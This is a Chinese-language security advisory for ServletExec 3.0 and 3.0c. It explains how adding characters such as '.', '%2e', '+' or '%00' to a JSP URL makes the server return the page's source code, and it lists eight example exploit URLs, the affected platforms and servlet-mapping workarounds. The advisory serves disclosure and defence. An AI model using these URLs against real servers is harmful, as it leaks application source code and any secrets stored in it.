涉及程序:
servletexec
描述:
在http请求中添加特殊字符导致暴露jsp源代码文件
详细:
unify ewave servletexec 是一个 java/java servlet 引擎插件,主要用于 web 服务器,例如:microsoft iis, apache,.netscape enterprise 服务器等等。
当一个 http 请求中添加下列字符之一,servletexec 将返回 jsp 源代码文件。
.
%2e
+
%2b
\
%5c
%20
%00
成功的利用该漏洞将导致泄露指定的jsp文件的源代码
例如:
使用下面的任意一个url请求将输出指定的jsp文件的源代码:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2e
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2b
http://target/directory/jsp/file.jsp\
http://target/directory/jsp/file.jsp%5c
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00
受影响的系统:
unify ewave servletexec 3.0c
- sun solaris 8.0
- microsoft windows 98
- microsoft windows nt 4.0
- microsoft windows nt 2000
- linux kernel 2.3.x
- ibm aix 4.3.2
- hp hp-ux 11.4
unify ewave servletexec 3.0
- sun solaris 8.0
- microsoft windows 98
- microsoft windows nt 4.0
- microsoft windows nt 2000
- linux kernel 2.3.x
- ibm aix 4.3.2
- hp hp-ux 11.4
解决方案:
临时解决办法:
如果没有使用任何静态页面或图像,可以配置一个默认的 servlet,并将“/”映射到这个默认的 servlet。这样当收到一个未映射到某个 servlet 的 url 时,这个默认的servlet 就会被调用。在这种情况下,默认的 servlet 可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet 处理对合法的静态页面和图像的请求。
另一种可能就是将*.jsp+、*.jsp.和*.jsp\等映射到一个 servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp ”。注意%20被转换成一个空格字符。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器